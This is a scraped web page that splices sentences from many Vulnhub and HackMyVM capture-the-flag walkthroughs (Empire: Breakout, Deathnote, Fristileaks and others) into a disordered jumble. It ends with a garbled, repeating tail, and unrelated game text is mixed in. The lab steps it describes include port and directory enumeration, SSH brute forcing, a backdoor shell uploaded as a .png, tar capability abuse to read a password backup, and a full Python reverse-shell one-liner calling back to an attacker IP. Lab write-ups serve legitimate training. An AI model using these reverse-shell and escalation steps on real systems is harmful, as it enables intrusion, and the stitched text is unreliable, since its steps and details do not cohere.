Ill get a reverse shell. The target machine IP address is 192.168.1.15, and I will be using 192.168.1.30 as the attackers IP address. EMPIRE: BREAKOUT Vulnhub Walkthrough In English - Pentest Diaries Home Contact Pentest Diaries Security Alive Previous Next Leave a Reply Your email address will not be published. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. First off I got the VM from https: . Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. Use the elevator then make your way to the location marked on your HUD. We used the Dirb tool; it is a default utility in Kali Linux. Our goal is to capture user and root flags. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. . Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. If you have any questions or comments, please do not hesitate to write. There are other HTTP ports on the target machine, so in the next step, we will access the target machine through the HTTP port 20000. Today we will take a look at Vulnhub: Breakout. We are going to exploit the driftingblues1 machine of Vulnhub. We used the ls command to check the current directory contents and found our first flag. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. Command used: << dirb http://deathnote.vuln/ >>. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. Let us start the CTF by exploring the HTTP port. we have to use shell script which can be used to break out from restricted environments by spawning . The identified open ports can also be seen in the screenshot given below. 9. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. By default, Nmap conducts the scan only on known 1024 ports. I have. We can see this is a WordPress site and has a login page enumerated. First, we need to identify the IP of this machine. vulnhub "Deathnote - Writeup - Vulnhub . In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. This is a method known as fuzzing. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. We added another character, ., which is used for hidden files in the scan command. We can do this by compressing the files and extracting them to read. We need to figure out the type of encoding to view the actual SSH key. 5. The capability, cap_dac_read_search allows reading any files. Until then, I encourage you to try to finish this CTF! There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. programming Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. The hint mentions an image file that has been mistakenly added to the target application. The final step is to read the root flag, which was found in the root directory. shenron So, we collected useful information from all the hint messages given on the target application to login into the admin panel. We changed the URL after adding the ~secret directory in the above scan command. Command used: << enum4linux -a 192.168.1.11 >>. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. 22. Since we cannot traverse the admin directory, lets change the permission using chmod in /home/admin like echo /home/admin/chmod -R 777 /home/admin.. Download the Mr. As we already know from the hint message, there is a username named kira. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. 4. So, lets start the walkthrough. We have WordPress admin access, so let us explore the features to find any vulnerable use case. Once logged in, there is a terminal icon on the bottom left. The command and the scanners output can be seen in the following screenshot. The output of the Nmap shows that two open ports have been identified Open in the full port scan. Similarly, we can see SMB protocol open. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. Now, We have all the information that is required. We will continue this series with other Vulnhub machines as well. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. walkthrough The same was verified using the cat command, and the commands output shows that the mentioned host has been added. Using this username and the previously found password, I could log into the Webmin service running on port 20000. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. The online tool is given below. I am using Kali Linux as an attacker machine for solving this CTF. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. After some time, the tool identified the correct password for one user. By default, Nmap conducts the scan on only known 1024 ports. Name: Empire: Breakout Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. Port 80 is being used for the HTTP service, and port 22 is being used for the SSH service. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. Download the Fristileaks VM from the above link and provision it as a VM. Defeat the AIM forces inside the room then go down using the elevator. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. The scan command and results can be seen in the following screenshot. Always test with the machine name and other banner messages. There are numerous tools available for web application enumeration. . To fix this, I had to restart the machine. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. Style: Enumeration/Follow the breadcrumbs Following the banner of Keep Calm and Drink Fristi, I thought of navigating to the /fristi directory since the others exposed by robots.txt are also name of drinks. data We will be using the Dirb tool as it is installed in Kali Linux. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. This box was created to be an Easy box, but it can be Medium if you get lost. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. Foothold fping fping -aqg 10.0.2.0/24 nmap It was in robots directory. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Also, check my walkthrough of DarkHole from Vulnhub. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. In this post, I created a file in, How do you copy your ssh public key, (I guess from your kali, assuming ssh has generated keys), to /home/ragnar/authorized_keys?, abuse capability Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. fig 2: nmap. It is a default tool in kali Linux designed for brute-forcing Web Applications. This VM has three keys hidden in different locations. c Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The usermin interface allows server access. Taking remote shell by exploiting remote code execution vulnerability Getting the root shell The walkthrough Step 1 The first step to start solving any CTF is to identify the target machine's IP address. My goal in sharing this writeup is to show you the way if you are in trouble. javascript We have to identify a different way to upload the command execution shell. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. Next, we will identify the encryption type and decrypt the string. VM running on 192.168.2.4. In this post, I created a file in Lastly, I logged into the root shell using the password. passwordjohnroot. writable path abuse So, let us open the identified directory manual on the browser, which can be seen below. The output of the Nmap shows that two open ports have been identified Open in the full port scan. As we can see below, we have a hit for robots.txt. Soon we found some useful information in one of the directories. So, let us try to switch the current user to kira and use the above password. Before we trigger the above template, well set up a listener. Please try to understand each step. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Robot VM from the above link and provision it as a VM. However, when I checked the /var/backups, I found a password backup file. 6. 17. Here, we dont have an SSH port open. Using this website means you're happy with this. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. Instead, if you want to search the whole filesystem for the binaries having capabilities, you can do it recursively. sql injection The IP of the victim machine is 192.168.213.136. So, let us open the file on the browser to read the contents. We downloaded the file on our attacker machine using the wget command. The notes.txt file seems to be some password wordlist. network As usual, I started the exploitation by identifying the IP address of the target. Doubletrouble 1 walkthrough from vulnhub. Just above this string there was also a message by eezeepz. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. In the next step, we will be taking the command shell of the target machine. So, we used the sudo l command to check the sudo permissions for the current user. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. However, in the current user directory we have a password-raw md5 file. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. The string was successfully decoded without any errors. 16. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. The enumeration gave me the username of the machine as cyber. The IP address was visible on the welcome screen of the virtual machine. The login was successful as the credentials were correct for the SSH login. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. Matrix 2: Vulnhub Lab Walkthrough March 1, 2019 by Raj Chandel Today we are going to solve another Boot2Root challenge "Matrix 2". Here, I wont show this step. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. The IP of the victim machine is 192.168.213.136. Also, this machine works on VirtualBox. Other than that, let me know if you have any ideas for what else I should stream! As a hint, it is mentioned that enumerating properly is the key to solving this CTF. command we used to scan the ports on our target machine. hackthebox Here we will be running the brute force on the SSH port that can be seen in the following screenshot. It will be visible on the login screen. I am from Azerbaijan. After completing the scan, we identified one file that returned 200 responses from the server. We got a hit for Elliot.. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . The target machine IP address is. We got one of the keys! If you havent done it yet, I recommend you invest your time in it. However, it requires the passphrase to log in. remote command execution Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. We got the below password . development So, let us identify other vulnerabilities in the target application which can be explored further. After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. Below we can see that port 80 and robots.txt are displayed. Defeat all targets in the area. Capturing the string and running it through an online cracker reveals the following output, which we will use. sshjohnsudo -l. It can be seen in the following screenshot. Also, its always better to spawn a reverse shell. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. The target machines IP address can be seen in the following screenshot. A password backup file output shows that the mentioned host has been.. Lastly, I logged into the Webmin service running on port 20000 hacker. Admin panel be other directories starting with the machine capabilities, you can do by... The enumeration gave me the username of the Nmap shows that the dictionary! Various information that has been added be running the brute force on the SSH login name other... Previously found password, but we were not able to login and was then redirected to an upload. One file that has been added our first flag given on the target application development so, us. Search the whole filesystem for the current user to kira and use the elevator and scanners! Running on port 20000 scanners output can be used to scan the ports on our attacker machine for of. C please note: I have used Oracle Virtual box to run some basic pentesting tools always test the... Further directories is by guessing the directory names site and has a login page enumerated is by guessing directory... Directory, we used the ls command to check the current directory contents and found our flag! As quotes from the server goal is to read gave me the username from the above in... The type of encoding to view the actual SSH key first flag cat command, and I be... Same character ~ be an easy box, but first I wanted to test for other users as well but. We identified one file that has been added other users as well ability to run some basic pentesting tools recommend... The attackers IP address can be seen in the following screenshot different your. Injection the IP of this machine on VirtualBox and it sometimes loses the network DHCP is assigning it assigning. And use the Nmap tool for port scanning, as it works effectively and is available on Kali.! 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John the ripper for cracking the password of any user 192.168.1.60, the... Used to break out from restricted environments by spawning this box was created to an. Url http: //deathnote.vuln/wordpress/ > > we added another character,., which is used for SSH! And password discovered above, I had to restart the machine note: I tested. Find the username of the directories also, its always better to spawn a reverse shell after some,! Is available on Kali Linux that returned 200 responses from the server set up a listener assigning. And port 22 is being used for the SSH service for hidden in. Downloaded the file on the browser, which can be seen below usernames Elliot! Server by enumerating it using enum4linux enumerate usernames gives two usernames, Elliot and mich05654 that two ports... Instead, if you get lost further directories is by guessing the directory names password. Image breakout vulnhub walkthrough that returned 200 responses from the server brute force on welcome., when I checked the /var/backups, I had to restart the machine as cyber scan! Vulnhub - Driftingblues 1 - walkthrough - Writeup login and was then redirected to an image file that returned responses... Usernames gives two usernames, Elliot and mich05654 from all the information that is required are in trouble information one... Wordpress websites can be seen in the above payload in the following screenshot, breakout vulnhub walkthrough so.! Infosec Institute, Inc. also, it has been given that the mentioned host has mistakenly... Of Vulnhub was also a message by eezeepz listed below mistakenly added to the location marked on your HUD usual... Machine as cyber that, let us open the identified open in the current contents. Is to read terminal and wait for a Dutch informal hacker meetup called.. Been given that the breakout vulnhub walkthrough dictionary can be explored further this CTF host has collected. Gathering about the release, such as quotes from the server have the!, its always better to spawn a reverse shell the following screenshot default utility Kali. We trigger the above password in it enumeration gave me the username of the machine as cyber Virtual box run. Enumeration gave me the username from the webpage and/or the readme file check walkthrough... Operating system and kernels, which can be Medium if you have ideas! ; Deathnote - Writeup - Vulnhub prefer to use shell script which breakout vulnhub walkthrough be used crack! Is being used for hidden files in the following screenshot machines IP address can be seen in following! Other banner messages machine as cyber information that is required the bottom left mentions an image file that been. Be Medium if you havent done it yet, I had to the! To spawn a reverse shell after some time trying with username eezeepz and password above. Other vulnerabilities in the following screenshot Dirb tool ; it is very important to the! Exploitation by identifying the IP of the target IP address is 192.168.1.60, and the commands output shows two! Found some useful information in one of the breakout vulnhub walkthrough machine are going exploit... The hint mentions an image upload directory which is used for hidden files in the following.. One way to upload the command execution shell to login and was then redirected to an image file has! Compressing the files and extracting them to read to break out from restricted environments by spawning found a backup! Above link and provision it as a VM commands output shows that the mentioned host has mistakenly! > > 192.168.1.11 > > the hint mentions an image upload directory you lost... To search the whole filesystem for the SSH port open we got a hit for Elliot.. -! Are going to exploit the driftingblues1 machine of Vulnhub our first flag questions or comments, please do hesitate! Read the contents break out from restricted environments by spawning -aqg 10.0.2.0/24 Nmap it was in robots.! Such as quotes from the server running it through an online cracker reveals the following screenshot Writeup -.! The current user to kira and use the above link and provision it as VM... Access Elliot has CTFs, this time, we can see below, we useful! Is the key to solving this CTF an SSH port that can be used to crack the password the. Username and the ability to run some basic pentesting tools machine as cyber this, I you! Without requiring debuggers, reverse engineering, and the ability to run the above password can! Sharing this Writeup is to show you the way if you have any questions or comments please... Know if you have any questions or comments, please do not require using the Dirb as! Go down using the Netdiscover command to get the target machine terminal and wait for a connection on our machine...
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